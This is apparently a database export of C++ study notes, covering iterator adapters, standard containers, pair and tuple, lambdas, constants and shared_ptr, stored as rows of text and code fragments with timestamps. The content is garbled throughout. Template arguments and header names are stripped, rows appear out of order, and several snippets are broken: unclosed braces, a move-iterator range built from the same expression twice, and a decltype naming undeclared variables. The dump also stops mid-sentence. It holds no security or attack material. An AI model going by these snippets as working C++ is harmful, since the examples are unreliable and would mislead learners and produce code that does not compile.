0 +3582 849 std::vector v{1,2,3,4};\nstd::vector copy(v.size());\ncopy(std::begin(v), std::end(v), std::begin(copy));\ncopy(std::begin(v), std::end(v), std::ostream_iterator{std::cout, " "}); code txt 2024-07-28 10:05:11.140132 0 +3583 850 #include \n#include text txt 2024-07-28 10:05:11.69569 0 +3584 850 template\nauto get_input(InputIterator begin, InputIterator end)\n{\n std::vector::value_type> results; text txt 2024-07-28 10:05:11.715703 0 +3585 850 for (auto iter = begin; iter != end; ++iter)\n {\n results.push_back(*iter);\n } text txt 2024-07-28 10:05:11.73664 0 +3586 850 return results;\n} text txt 2024-07-28 10:05:11.756271 0 +3587 850 std::vector inputs = get_input(std::istream_iterator{std::cin}, std::istream_iterator{}); code txt 2024-07-28 10:05:11.775912 0 +3588 851 The standard library provides five iterator adapters. text txt 2024-07-28 10:05:12.308301 0 +3589 851 The first group of adapters are created from a container and are usually used\nas output iterators: text txt 2024-07-28 10:05:12.328504 0 +3694 889 template\nusing vector = std::vector>; text txt 2024-07-28 10:05:31.237718 0 +3590 851 - `std::back_insert_iterator`: Uses `push_back()` to insert elements into a\n container\n- `std::front_insert_iterator`: Uses `push_front()` to insert elements into a\n container\n- `std::insert_iterator`: Uses `insert()` to insert elements into a container text txt 2024-07-28 10:05:12.348679 0 +3591 851 The second group of adapters are created from another iterator, not a\ncontainer, and are usually used as input iterators: text txt 2024-07-28 10:05:12.369507 0 +3592 851 - `reverse_iterator`: reverse the iteration order of another iterator\n- `move_iterator`: the dereferencing operator for a `move_iterator`\n automatically converts the value to an rvalue reference, so it can be moved\n to a new destination. text txt 2024-07-28 10:05:12.390581 0 +3593 852 #include \n#include \n#include text txt 2024-07-28 10:05:12.992316 0 +3594 852 std::vector v{1.1, 2.2, 3.3, 4.4, 5.5};\nstd::vector copy_v;\nstd::back_insert_iterator> populate_v{copy_v};\nstd::copy(std::begin(v), std::end(v), populate_v); code txt 2024-07-28 10:05:13.013473 0 +3595 852 You can also use `std::back_inserter()` utility function to create a `std::back_insert_iterator`. text txt 2024-07-28 10:05:13.033232 0 +3596 852 std::copy(std::begin(v), std::end(v), std::back_inserter(copy_v)); code txt 2024-07-28 10:05:13.054318 0 +3597 852 With class template argument deduction (CTAD), this can also be written as follows: text txt 2024-07-28 10:05:13.0752 0 +3598 852 std::copy(std::begin(v), std::end(v), std::back_insert_iterator{copy_v}); code txt 2024-07-28 10:05:13.096078 0 +3599 853 #include \n#include \n#include text txt 2024-07-28 10:05:13.722634 0 +3600 853 std::queue q{1.1, 2.2, 3.3, 4.4, 5.5};\nstd::queue copy_q;\nstd::front_insert_iterator> populate_q{copy_q};\nstd::copy(std::begin(q), std::end(q), populate_q); code txt 2024-07-28 10:05:13.744124 0 +3601 853 You can also use `std::front_inserter()` utility function to create a `std::front_insert_iterator`. text txt 2024-07-28 10:05:13.765202 0 +3602 853 std::copy(std::begin(q), std::end(q), std::front_inserter(copy_q)); code txt 2024-07-28 10:05:13.785793 0 +3603 853 With class template argument deduction (CTAD), this can also be written as follows: text txt 2024-07-28 10:05:13.806888 0 +3604 853 std::copy(std::begin(q), std::end(q), std::front_insert_iterator{copy_q}); code txt 2024-07-28 10:05:13.82778 0 +3605 854 `std::insert_iterator` works similarly, except that the it also takes an\ninitial iterator position in its constructor, which it passes to the first\ncall to `std::insert(position, element)`. text txt 2024-07-28 10:05:14.596806 0 +3606 854 #include \n#include \n#include text txt 2024-07-28 10:05:14.618702 0 +3607 854 std::set s{1.1, 2.2, 3.3, 4.4, 5.5};\nstd::set copy_s;\nstd::insert_iterator> populate_s{copy_s, std::begin(copy_s)};\nstd::copy(std::begin(s), std::end(s), populate_s); code txt 2024-07-28 10:05:14.6396 0 +3608 854 The `std::insert_iterator` modifies the iterator hint that it passes to\n`insert()` after each call to `insert()`, such that the position is one past\nthe just inserted element. text txt 2024-07-28 10:05:14.660736 0 +3609 854 You can also use `std::inserter()` utility function to create a\n`std::insert_iterator`. text txt 2024-07-28 10:05:14.682286 0 +3610 854 std::copy(std::begin(s), std::end(s), std::inserter(copy_s, std::begin(copy_s))); code txt 2024-07-28 10:05:14.702931 0 +3611 854 With class template argument deduction (CTAD), this can also be written as\nfollows: text txt 2024-07-28 10:05:14.725039 0 +3612 854 std::copy(std::begin(s), std::end(s), std::insert_iterator{copy_s, std::begin(copy_s)}); code txt 2024-07-28 10:05:14.746567 0 +3613 855 The standard library provides an `std::reverse_iterator` class template that\niterates through bidirectional or random-access iterator in a reverse\ndirection. text txt 2024-07-28 10:05:15.132764 0 +3614 855 An `std::reverse_iterator` is useful mostly with algorithms in the standard\nlibrary or your own functions that have no equivalents that work in reverse\norder. text txt 2024-07-28 10:05:15.15383 0 +3616 856 You can always obtain the underlying `std::iterator` from a\n`std::reverse_iterator` by calling its `base()` method. However, because of\nhow `std::reverse_iterator` is implemented, the `std::iterator` returned from\n`base()` always refers to one element past the element referred to by the\n`std::reverse_iterator` on which it's called. To get to the same element, you\nmust subtract one. text txt 2024-07-28 10:05:15.78263 0 +3617 856 #include \n#include \n#include text txt 2024-07-28 10:05:15.803412 0 +3618 856 std::vector v{11, 22, 33, 22, 11};\nstd::vector::iterator iter1{ std::find(std::begin(v), std::end(v), 22) };\nstd::vector::reverse_iterator iter2{ std::find(std::rbegin(v), std::rend(v), 22) }; text txt 2024-07-28 10:05:15.825743 0 +3619 856 if (iter1 != std::end(v) && iter2 != std::rend(v))\n{\n auto first{ std::distance(std::begin(v), iter1);\n auto second{ std::distance(std::begin(v), --iter2.base());\n} code txt 2024-07-28 10:05:15.846934 0 +3620 857 The standard library provides an iterator adapter called\n`std::move_iterator`. The dereferencing operator of a `std::move_iterator`\nautomatically converts the value to an rvalue reference, which means that the\nvalue can be moved to a new destination without the overhead of copying. text txt 2024-07-28 10:05:16.525574 0 +3622 857 std::vector source;\nsource.push_back(m);\nsource.push_back(m); text txt 2024-07-28 10:05:16.566299 0 +3623 857 std::vector copies{std::begin(source), std::end(source)}; code txt 2024-07-28 10:05:16.586645 0 +3624 857 By using `std::make_move_iterator()` to create `std::move_iterator`, the move constructor of `MovableType` is called instead of the copy constructors: text txt 2024-07-28 10:05:16.607546 0 +3625 857 std::vector steals{std::make_move_iterator(source), std::make_move_iterator(source)}; code txt 2024-07-28 10:05:16.629082 0 +3626 857 Class template argument deduction (CTAD) with `std::move_iterator` can also be used: text txt 2024-07-28 10:05:16.649726 0 +3627 857 std::vector steals{std::move_iterator{std::begin(source)}, std::move_iterator{std::end(source)}}; code txt 2024-07-28 10:05:16.670068 0 +3628 858 Standard Library containers use value semantics on elements. Thus, when you\nwrite classes that you intend to use with the Standard Library, you need to\nmake sure they are copyable. text txt 2024-07-28 10:05:17.099422 0 +3629 858 If you prefer reference semantics, you can store pointers to elements instead\nof the elements themselves. To do so, store `std::reference_wrappers` in the\ncontainer. A `std::reference_wrapper` basically exists to make references\ncopyable and can be created using the std::ref() and cref() helper functions,\nall defined in `` header. text txt 2024-07-28 10:05:17.121146 0 +3630 859 One of the template type parameters for Standard Library containers is an\nallocator. The container uses this allocator to allocate and deallocate\nmemory for elements. text txt 2024-07-28 10:05:17.69466 0 +3631 859 template> class vector; code txt 2024-07-28 10:05:17.715056 0 +3632 859 Some containers, such as a map, additionally accept a comparator as one of\nthe template type parameters. This comparator is used to order elements. This\ndefault is to compare elements using `operator<`. text txt 2024-07-28 10:05:17.737101 0 +3778 920 t1 = t2;\nt = p; code txt 2024-07-28 10:05:47.310778 0 +3633 859 template,\n typename Allocator = std::allocator>> class map; code txt 2024-07-28 10:05:17.757583 0 +3634 860 - Default Constructor\n- Copy Constructor\n- Move Constructor\n- Copy Assignment Operator\n- Move Assignment Operator\n- Destructor\n- `operator==`\n- `operator<`\n- `operator>,<=,>=,!=` text txt 2024-07-28 10:05:18.174195 0 +3635 861 Following containers are sequential containers because they store a sequence of elements: text txt 2024-07-28 10:05:18.514622 0 +3636 861 - `std::vector`\n- `std::deque`\n- `std::list`\n- `std::forward_list`\n- `std::array` text txt 2024-07-28 10:05:18.535782 0 +3637 862 In a vector the elements are stored in contiguous memory. You can index into\na vector, as well as add new elements to the back or insert them anywhere. text txt 2024-07-28 10:05:18.993581 0 +3638 862 Vector is a class template with two type parameters, the element type and an\nallocator type. text txt 2024-07-28 10:05:19.014573 0 +3639 862 template > class vector; code txt 2024-07-28 10:05:19.035943 0 +3640 863 g++ -o program source.cpp -std=c++20 code txt 2024-07-28 10:05:19.605727 0 +3641 863 clang++ -o program source.cpp -std=c++20 code txt 2024-07-28 10:05:19.626305 0 +3642 864 #include text txt 2024-07-28 10:05:20.032227 0 +3643 864 int main()\n{\n using std::cout;\n using std::endl; text txt 2024-07-28 10:05:20.05282 0 +3644 864 cout << 42 << endl;\n} code txt 2024-07-28 10:05:20.073562 0 +3645 865 void do_something(); text txt 2024-07-28 10:05:20.503977 0 +3646 865 int main()\n{\n do_something();\n} text txt 2024-07-28 10:05:20.523451 0 +3647 865 void do_something()\n{\n} code txt 2024-07-28 10:05:20.545504 0 +3648 866 #include text txt 2024-07-28 10:05:21.103468 0 +3649 866 int global_number = 42; text txt 2024-07-28 10:05:21.123682 0 +3650 866 int function()\n{\n int local_number = 77;\n return local_number;\n} text txt 2024-07-28 10:05:21.143671 0 +3651 866 int main()\n{\n std::cout << function() << '\\\\n';\n std::cout << global_number << '\\\\n';\n return 0;\n} code txt 2024-07-28 10:05:21.16485 0 +3652 867 #include text txt 2024-07-28 10:05:21.529949 0 +3653 867 int main()\n{\n std::cout << sizeof(long double) << '\\\\n';\n} code txt 2024-07-28 10:05:21.552003 0 +3654 868 int number = 200000;\nlong large_number = 200000000;\nint regular_number{large_number}; // ERROR: Type long narrowed to int code txt 2024-07-28 10:05:21.814598 0 +3655 869 auto flag = true; // bool code txt 2024-07-28 10:05:22.029392 0 +3656 870 typedef unsigned long positive_t; code txt 2024-07-28 10:05:22.269304 0 +3657 871 - Literal constants\n- Constants defined by `const`\n- Constant expressions defined by `constexpr`\n- Immediate functions marked by `consteval`\n- Enumerations\n- Scoped Enumerations\n- Preprocessor macro `#define` text txt 2024-07-28 10:05:22.584307 0 +3658 872 const double pi = 22.0 / 7; code txt 2024-07-28 10:05:22.7876 0 +3659 873 constexpr double get_pi()\n{\nreturn 22.0 / 7;\n} code txt 2024-07-28 10:05:23.069852 0 +3660 874 consteval double divide(double a, double b)\n{\n return a / b;\n} text txt 2024-07-28 10:05:23.538839 0 +3661 874 consteval double get_pi()\n{\n return divide(22.0, 7); // OK\n} text txt 2024-07-28 10:05:23.558894 0 +3662 874 double dividen{22.0}, divisor{7.0};\ndivide(dividen, divisor); // ERROR: non-const arguments to consteval code txt 2024-07-28 10:05:23.579596 0 +3663 875 An enumeration comprises a set of constants called enumerators. text txt 2024-07-28 10:05:24.001875 0 +3664 875 enum class directions\n{\n north,\n east,\n south,\n west\n}; code txt 2024-07-28 10:05:24.022495 0 +3665 876 #include text txt 2024-07-28 10:05:24.723072 0 +3666 876 int main()\n{\n std::cout << "default compiler standard: " << __cplusplus << std::endl;\n} code txt 2024-07-28 10:05:24.744285 0 +3667 877 void f(int);\nvoid f(void*); text txt 2024-07-28 10:05:25.191527 0 +3668 877 int main()\n{\n f(0); // calls f(int)\n f(NULL); // calls f(int)\n f(nullptr); // calls f(void*)\n} code txt 2024-07-28 10:05:25.212795 0 +3669 878 int main()\n{\n auto i = 42;\n auto u = 42U;\n auto l = 42L;\n auto ul = 42UL;\n auto ll = 42LL;\n auto ull = 42ULL;\n auto d = 42.0;\n auto ld = 42.0L;\n} code txt 2024-07-28 10:05:25.775062 0 +3670 879 int main()\n{\n int i; // indeterminate value\n int j{}; // initialized to 0\n int* p; // indeterminate value\n int* q{}; // initialized to nullptr text txt 2024-07-28 10:05:26.430485 0 +3671 879 int xi(2.3); // x1 == 2\n int xd{2.3}; // error\n} code txt 2024-07-28 10:05:26.450878 0 +3672 880 #include text txt 2024-07-28 10:05:27.254157 0 +3673 880 class base\n{\npublic:\n base(int, int) { ... };\n explicit base(int a, int b, int c) { ... }\n}; text txt 2024-07-28 10:05:27.274659 0 +3674 880 void fp(const base&); text txt 2024-07-28 10:05:27.29463 0 +3675 880 int main()\n{\n base a(1, 2); // Okay\n base b{1, 2}; // Okay\n base c{1, 2, 3}; // Okay\n base d = {1, 2}; // Okay, implicit conversion of {1, 2} to base\n base e = {1, 2, 3}; // Error, due to explicit text txt 2024-07-28 10:05:27.314489 0 +3676 880 fp({1, 2}); // Okay, implicit conversion of {1, 2} to base\n fp({1, 2, 3}); // Error, due to explicit\n fp(base{1, 2}); // Okay, implicit conversion of {1, 2} to base\n fp(base{1, 2, 3}); // Okay, explicit conversion of {1, 2, 3} to base\n} code txt 2024-07-28 10:05:27.335701 0 +3677 881 int main()\n{\n for (auto item: {1, 2, 3, 4, 5})\n std::cout << item << std::endl;\n} code txt 2024-07-28 10:05:27.671315 0 +3680 883 X foo()\n{\n X x;\n return x;\n} text txt 2024-07-28 10:05:28.462761 0 +3681 883 int main()\n{\n auto x = foo();\n} code txt 2024-07-28 10:05:28.482284 0 +3682 884 #include text txt 2024-07-28 10:05:28.844302 0 +3683 884 int main()\n{\n std::cout << R"(quotes can be "freely" used with raw string literals)" << std::endl;\n} code txt 2024-07-28 10:05:28.864905 0 +3684 885 class pair\n{\n pair& operator =(pair&& p)\n noexcept(is_nothrow_move_assignable::value &&\n is_nothrow_move_assignable::value);\n}; code txt 2024-07-28 10:05:29.291637 0 +3685 886 1. Each library function that cannot throw and does not expecify any undefined behavior caused by a broken precondition, should be marked unconditionally noexcept.\n2. A library swap function, move constructor, or move assignment operator can be proven not to throw by applying the noexcept operator, it should be marked as conditionally noexcept.\n3. No library destructor should throw.\n4. Library functions designed for compatibility with C code may be marked as unconditionally noexcept. text txt 2024-07-28 10:05:29.560919 0 +3686 887 #include text txt 2024-07-28 10:05:30.06989 0 +3687 887 template\nconstexpr S cube(S const& size)\n{\n return size * size * size;\n} text txt 2024-07-28 10:05:30.090243 0 +3688 887 int main()\n{\n std::array(2)> numbers;\n} code txt 2024-07-28 10:05:30.111423 0 +3689 888 #include text txt 2024-07-28 10:05:30.736236 0 +3690 888 void print()\n{ } text txt 2024-07-28 10:05:30.757127 0 +3691 888 template\nvoid print(T const& to_print, Args const& ...args)\n{\n std::cout << to_print << std::endl;\n print(args...);\n} text txt 2024-07-28 10:05:30.779094 0 +3692 888 int main()\n{\n print("a", "b", "c");\n} code txt 2024-07-28 10:05:30.799954 0 +3693 889 #include text txt 2024-07-28 10:05:31.216522 0 +3695 889 int main()\n{\n vector numbers{1,2,3,4,5};\n} code txt 2024-07-28 10:05:31.258205 0 +3696 890 template\nT sum(T const& a, T const& b)\n{\n return a + b;\n} text txt 2024-07-28 10:05:31.707709 0 +3697 890 int main()\n{\n int result = sum(1, 2);\n} code txt 2024-07-28 10:05:31.72867 0 +3698 891 #include text txt 2024-07-28 10:05:32.095889 0 +3699 891 int main()\n{\n [] { std::cout << "lambda" << std::endl; }();\n} code txt 2024-07-28 10:05:32.117801 0 +3700 892 #include text txt 2024-07-28 10:05:32.924693 0 +3701 892 // lambda expanded to class\nclass lambda\n{\nprivate:\n int id;\npublic:\n void operator()()\n {\n std::cout << id++ << std::endl;\n }\n}; text txt 2024-07-28 10:05:32.946039 0 +3702 892 int main()\n{\n int id = 0; text txt 2024-07-28 10:05:32.967394 0 +3703 892 // stateful lambda\n lambda l(id);\n l();\n l();\n l(); text txt 2024-07-28 10:05:32.987954 0 +3704 892 auto s = [id]() mutable { std::cout << id++ << std::endl; }\n s();\n s();\n s();\n} code txt 2024-07-28 10:05:33.00849 0 +3705 893 #include \n#include text txt 2024-07-28 10:05:33.417956 0 +3706 893 int main()\n{\n std::map cells;\n decltype(cells)::value_type item{};\n} code txt 2024-07-28 10:05:33.439084 0 +3707 894 template\nauto add(T1 a, T2 b) -> decltype(x+y); code txt 2024-07-28 10:05:33.733235 0 +3708 895 enum class state {stable, unstable, unknown}; code txt 2024-07-28 10:05:34.034391 0 +3709 896 #include text txt 2024-07-28 10:05:34.362522 0 +3710 896 enum class state : char {stable, unstable, unknown};\nauto type = std::underlying_type::type; // char code txt 2024-07-28 10:05:34.383713 0 +3711 897 #include \n#include text txt 2024-07-28 10:05:34.823858 0 +3712 897 template \nvoid print(N const& s)\n{\n std::cout << s << std::endl;\n} code txt 2024-07-28 10:05:34.844195 0 +3713 898 class Q\n{\n typedef int SubType;\n}; text txt 2024-07-28 10:05:35.402583 0 +3714 898 template\nclass P\n{\n typename T::SubType* ptr;\n}; text txt 2024-07-28 10:05:35.423585 0 +3715 898 int main()\n{\n P x; // Okay\n} code txt 2024-07-28 10:05:35.443519 0 +3716 899 // directly assigning value\ntemplate\nclass exact\n{\nprivate:\n T value;\npublic:\n void assign(exact const& b) { value = b.value; }\n}; text txt 2024-07-28 10:05:36.41694 0 +3717 899 // using getter to assign value\ntemplate\nclass relaxed\n{\nprivate:\n T _value;\npublic:\n T value() const { return _value; } text txt 2024-07-28 10:05:36.437827 0 +3718 899 template\n void assign(relaxed const& r) { _value = r.value(); }\n}; text txt 2024-07-28 10:05:36.458513 0 +3719 899 int main()\n{\n exact ed{};\n exact ei{}; text txt 2024-07-28 10:05:36.479093 0 +3720 899 ed.assign(ed); // Okay\n ed.assign(ei); // Error, ei is exact but exact is required text txt 2024-07-28 10:05:36.500405 0 +3721 899 relaxed rd{};\n relaxed ri{}; text txt 2024-07-28 10:05:36.522722 0 +3722 899 rd.assign(rd); // Okay\n rd.assign(ri); // Okay, int is assignable to double\n} code txt 2024-07-28 10:05:36.544585 0 +3723 900 template\nclass base\n{\npublic:\n // copy constructor with implicit type conversion\n // does not suppress implicit copy constructor.\n // when T==U, implicit copy constructor is called.\n template\n base(base const& x);\n}; text txt 2024-07-28 10:05:37.094127 0 +3724 900 int main()\n{\n base bd;\n base bd2{bd}; // calls implicitly generated copy constructor\n base bi(bd); // calls class template constructor\n} code txt 2024-07-28 10:05:37.115153 0 +3725 901 template\nvoid f()\n{\n T x = T();\n} text txt 2024-07-28 10:05:37.596207 0 +3726 901 int main()\n{\n f();\n} code txt 2024-07-28 10:05:37.616939 0 +3727 902 #include text txt 2024-07-28 10:05:38.164077 0 +3728 902 [[noreturn]] void f() { std::exit(1); }\n[[noreturn]] void g() { std::quick_exit(1); } text txt 2024-07-28 10:05:38.184672 0 +3729 902 int main()\n{\n f();\n} code txt 2024-07-28 10:05:38.207428 0 +3730 903 namespace x\n{\n int value{};\n} text txt 2024-07-28 10:05:38.730182 0 +3731 903 int main()\n{\n int value = x::value;\n} code txt 2024-07-28 10:05:38.750888 0 +3732 904 #include text txt 2024-07-28 10:05:39.126079 0 +3733 904 int main()\n{\n namespace od = boost::program_options::options_description;\n} code txt 2024-07-28 10:05:39.147404 0 +3734 905 #include text txt 2024-07-28 10:05:39.620585 0 +3735 905 int main()\n{\n using std::cout;\n using std::endl; text txt 2024-07-28 10:05:39.641985 0 +3736 905 cout << "using declaration" << endl;\n} code txt 2024-07-28 10:05:39.662466 0 +3737 906 #include text txt 2024-07-28 10:05:40.098002 0 +3738 906 int main()\n{\n using namespace std; text txt 2024-07-28 10:05:40.118715 0 +3739 906 cout << "using directive" << endl;\n} code txt 2024-07-28 10:05:40.139972 0 +3740 907 #include // C++\n#include // C code txt 2024-07-28 10:05:40.413195 0 +3741 908 #include \n#include \n#include text txt 2024-07-28 10:05:41.02389 0 +3742 908 int main()\ntry\n{\n std::bitset<4>{"012"};\n}\ncatch (std::invalid_argument const& exp)\n{\n std::cerr << exp.what() << std::endl;\n} code txt 2024-07-28 10:05:41.046311 0 +3743 909 #include \n#include \n#include text txt 2024-07-28 10:05:41.797458 0 +3744 909 int main()\n{\n try\n {\n std::thread().detach();\n }\n catch (std::system_error const& exp)\n {\n std::cerr << exp.what() << std::endl; text txt 2024-07-28 10:05:41.81789 0 +3745 909 if (exp.code() == std::errc::invalid_argument)\n std::cerr << "std::errc::invalid_argument\\\\n";\n }\n} code txt 2024-07-28 10:05:41.838914 0 +3746 910 A `struct` with two public member variables: text txt 2024-07-28 10:05:42.336408 0 +3747 910 namespace std {\n template\n struct pair {\n T1 first;\n T2 second;\n // ...\n };\n} code txt 2024-07-28 10:05:42.356988 0 +3748 911 #include text txt 2024-07-28 10:05:42.697639 0 +3749 911 std::pair p;\nstd::pair p(value, value);\nstd::pair p(rvalue, rvalue); code txt 2024-07-28 10:05:42.71916 0 +3750 912 #include \n#include text txt 2024-07-28 10:05:43.212252 0 +3751 912 std::pair p(p2);\np = p2; text txt 2024-07-28 10:05:43.232243 0 +3752 912 void f(std::pair);\nvoid g(std::pair); text txt 2024-07-28 10:05:43.253332 0 +3753 912 std::pair p3(42, "sample");\nf(p3); // calls implicitly generated copy constructor\ng(p3); // calls template constructor code txt 2024-07-28 10:05:43.273451 0 +3754 913 #include text txt 2024-07-28 10:05:43.553162 0 +3755 913 std::pair p(rvp);\np = rvp; code txt 2024-07-28 10:05:43.574111 0 +3756 914 #include \n#include text txt 2024-07-28 10:05:44.134174 0 +3757 914 auto vp = std::make_pair(value, value); // value semantics\nauto rvp = std::make_pair(std::move(value), std::move(value)); // move semantics\nauto rfp = std::make_pair(std::ref(value), std::ref(value)); // reference semantics, creates std::pair text txt 2024-07-28 10:05:44.154867 0 +3850 942 delete person; text txt 2024-07-28 10:05:57.854952 0 +3971 982 and then use text txt 2024-07-28 10:06:18.179067 0 +3758 914 int main()\n{\n int i = 0;\n auto p = std::make_pair(std::ref(i), std::ref(i));\n ++p.first;\n ++p.second;\n std::cout << "i: " << i << std::endl; // 2\n} code txt 2024-07-28 10:05:44.175599 0 +3759 915 #include text txt 2024-07-28 10:05:44.555819 0 +3760 915 p.first\np.second text txt 2024-07-28 10:05:44.57582 0 +3761 915 std::get<0>(p);\nstd::get<1>(p); code txt 2024-07-28 10:05:44.596321 0 +3762 916 * equality\n* inequality\n* lower than\n* greater than text txt 2024-07-28 10:05:45.119062 0 +3763 916 #include text txt 2024-07-28 10:05:45.139027 0 +3764 916 p1 == p2\np1 != p2\np1 < p2\np1 > p2\np1 <= p2\np1 >= p2 text txt 2024-07-28 10:05:45.15998 0 +3765 916 p1 <=> p2 // c++20 code txt 2024-07-28 10:05:45.182104 0 +3766 917 p1.swap(p2);\nstd::swap(p1, p2); code txt 2024-07-28 10:05:45.416424 0 +3767 918 Map container family: text txt 2024-07-28 10:05:45.726148 0 +3768 918 * `std::map`\n* `std::multimap`\n* `std::unordered_map`\n* `std::unordered_multimap` text txt 2024-07-28 10:05:45.746146 0 +3769 919 Both arguments have to be a `std::tuple` to force this behavior.\nThis form of initialization is required to `emplace()` a new element into an (unordered) `std::map` or `std::multimap`. text txt 2024-07-28 10:05:46.623268 0 +3770 919 #include \n#include \n#include text txt 2024-07-28 10:05:46.644034 0 +3771 919 class base\n{\npublic:\n base(std::tuple)\n {\n std::cout << "base::base(tuple)" << std::endl;\n } text txt 2024-07-28 10:05:46.664512 0 +3772 919 template\n base(Args... args)\n {\n std::cout << "base::base(args...)" << std::endl;\n }\n}; text txt 2024-07-28 10:05:46.684928 0 +3773 919 int main()\n{\n std::tuple t(1, 2.22); text txt 2024-07-28 10:05:46.705642 0 +3774 919 std::pair p1(42, t); // base(std::tuple) text txt 2024-07-28 10:05:46.726087 0 +3775 919 std::pair p2(std::piecewise_construct, std::make_tuple(42), t); // base(Args...)\n} code txt 2024-07-28 10:05:46.747577 0 +3776 920 #include text txt 2024-07-28 10:05:47.268289 0 +3777 920 std::tuple t;\nstd::tuple tp(p);\nstd::tuple t1(vt); // copy constructor\nstd::tuple t2(rvt); // move constructor\nstd::tuple t3(v1, v2, v3,...);\nstd::tuple t4(rv1, rv2, rv3,...); text txt 2024-07-28 10:05:47.289331 0 +3779 921 #include text txt 2024-07-28 10:05:47.667131 0 +3780 921 auto t1 = std::make_tuple(v1, v2, v3); // value semantics\nauto t2 = std::make_tuple(std::move(v1), std::move(v2), std::move(v3)); // move semantics\nauto t3 = std::make_tuple(std::ref(v1), std::ref(v2), std::ref(v3)); // reference semantics\nauto t4 = std::make_tuple(std::cref(v1), std::cref(v2), std::cref(v3)); code txt 2024-07-28 10:05:47.688397 0 +3781 922 #include text txt 2024-07-28 10:05:48.120442 0 +3782 922 int main()\n{\n std::tuple t(value1, value2, value3); text txt 2024-07-28 10:05:48.140498 0 +3783 922 T1 v1 = std::get<0>(t);\n T2 v2 = std::get<1>(t);\n T3 v3 = std::get<2>(t);\n} code txt 2024-07-28 10:05:48.161514 0 +3784 923 #include text txt 2024-07-28 10:05:48.71457 0 +3785 923 std::tuple t1(value1, value2);\nstd::tuple t2(value1, value2); text txt 2024-07-28 10:05:48.735982 0 +3786 923 t1 == t2;\nt1 != t2;\nt1 > t2;\nt1 >= t2;\nt1 < t2;\nt1 <= t2; text txt 2024-07-28 10:05:48.757138 0 +3787 923 t1 <=> t2; // c++20 code txt 2024-07-28 10:05:48.778191 0 +3788 924 #include text txt 2024-07-28 10:05:49.086922 0 +3789 924 t1.swap(t2);\nstd::swap(t1, t2); code txt 2024-07-28 10:05:49.108222 0 +3790 925 #include text txt 2024-07-28 10:05:49.421066 0 +3791 925 std::tie(r1, std::ignore(r2), r3,...) = t; code txt 2024-07-28 10:05:49.441485 0 +3792 926 Explicit construction exists to avoid having single values implicitly converted into a tuple with one element. But this has consequences when using initializer lists, because they cannot be used with assignment syntax as it's considered to be an implicit conversion. text txt 2024-07-28 10:05:50.157792 0 +3793 926 You can’t pass an initializer list where a tuple is expected. But pairs and containers can be initialized that way. text txt 2024-07-28 10:05:50.178854 0 +3794 926 But for tuples, you have to explicitly convert the initial values into a tuple (for example, by using `make_tuple()`): text txt 2024-07-28 10:05:50.199491 0 +3795 926 template\nvoid t(const std::tuple t); text txt 2024-07-28 10:05:50.221985 0 +3796 926 t(42); // ERROR: explicit conversion to tuple<> required\nt(make_tuple(42)); // OK text txt 2024-07-28 10:05:50.244262 0 +3797 926 std::tuple t1(42,3.14); // OK, old syntax\nstd::tuple t2{42,3.14}; // OK, new syntax\nstd::tuple t3 = {42,3.14}; // ERROR text txt 2024-07-28 10:05:50.266071 0 +3798 926 std::vector> v { {1,1.0}, {2,2.0} }; // ERROR text txt 2024-07-28 10:05:50.286349 0 +3799 926 std::tuple foo() { return { 1, 2, 3 }; } // ERROR text txt 2024-07-28 10:05:50.307472 0 +3800 926 std::vector> v1 { {1,1.0}, {2,2.0} }; // OK\nstd::vector> v2 { {1,1.0}, {2,2.0} }; // OK text txt 2024-07-28 10:05:50.327625 0 +3801 926 std::vector foo2() { return { 1, 2, 3 }; } // OK code txt 2024-07-28 10:05:50.348255 0 +3802 927 #include text txt 2024-07-28 10:05:50.707072 0 +3803 927 int main()\n{\n using P = std::tuple;\n std::size_t values = std::tuple_size

::value; // 3\n} code txt 2024-07-28 10:05:50.728033 0 +3804 928 #include text txt 2024-07-28 10:05:51.154976 0 +3805 928 int main()\n{\n using P = std::tuple;\n using X = std::tuple_element<0, P>::type; // T1\n using Y = std::tuple_element<1, P>::type; // T2\n using Z = std::tuple_element<2, P>::type; // T3\n} code txt 2024-07-28 10:05:51.175314 0 +3806 929 #include \n#include \n#include text txt 2024-07-28 10:05:51.662466 0 +3807 929 int main()\n{\n int n = 42;\n std::tuple t = std::tuple_cat(std::make_tuple(42, 4.2), std::tie(n));\n static_assert(std::is_same_v>);\n} code txt 2024-07-28 10:05:51.682919 0 +3808 930 You can initialize a two-element tuple with a pair.\nAlso, you can assign a pair to a two-element tuple. text txt 2024-07-28 10:05:51.983895 0 +3809 930 std::tuple t(p);\nstd::pair p(std::make_tuple(42, 9.72)); code txt 2024-07-28 10:05:52.004181 0 +3810 931 Shared Ownership\nExclusive Ownership text txt 2024-07-28 10:05:52.22251 0 +3811 932 `std::shared_ptr`\n`std::weak_ptr` text txt 2024-07-28 10:05:52.415609 0 +3812 933 `std::unique_ptr` text txt 2024-07-28 10:05:52.583051 0 +3813 934 `std::bad_weak_ptr` text txt 2024-07-28 10:05:52.75473 0 +3814 935 `std::enable_shared_from_this` text txt 2024-07-28 10:05:52.954809 0 +3815 936 * assignment\n* copy\n* move\n* comparison\n* reference counting text txt 2024-07-28 10:05:53.989017 0 +3816 936 #include \n#include \n#include text txt 2024-07-28 10:05:54.010286 0 +3817 936 int main()\n{\n // construction\n std::shared_ptr rosa{new std::string("rosa")};\n std::shared_ptr lucy{new std::string("lucy")}; text txt 2024-07-28 10:05:54.03275 0 +3818 936 // dereferrence\n (*rosa)[0] = ’N’;\n lucy->replace(0, 1, "J"); text txt 2024-07-28 10:05:54.053235 0 +3819 936 // copy\n std::vector> people;\n people.push_back(lucy);\n people.push_back(lucy);\n people.push_back(rosa);\n people.push_back(lucy);\n people.push_back(rosa); text txt 2024-07-28 10:05:54.075218 0 +3820 936 for (auto ptr : people)\n std::cout << *ptr << " ";\n std::cout << std::endl; text txt 2024-07-28 10:05:54.095097 0 +3821 936 *rosa = "Rose"; text txt 2024-07-28 10:05:54.116234 0 +3822 936 for (auto ptr : people)\n std::cout << *ptr << " ";\n std::cout << std::endl; text txt 2024-07-28 10:05:54.136624 0 +3823 936 // counting instances\n std::cout << "use_count: " << people[0].use_count() << std::endl;\n} code txt 2024-07-28 10:05:54.157636 0 +3824 937 Because the constructor taking a pointer as single argument is explicit, you can’t use the assignment notation because that is considered to be an implicit conversion.\nHowever, the new initialization syntax is also possible: text txt 2024-07-28 10:05:54.514793 0 +3825 937 #include \n#include text txt 2024-07-28 10:05:54.534907 0 +3826 937 std::shared_ptr rosa = new std::string("rosa"); // ERROR\nstd::shared_ptr lucy{new std::string("lucy")}; // OK code txt 2024-07-28 10:05:54.555223 0 +3827 938 This way of creation is faster and safer because it uses one instead of two allocations: one for 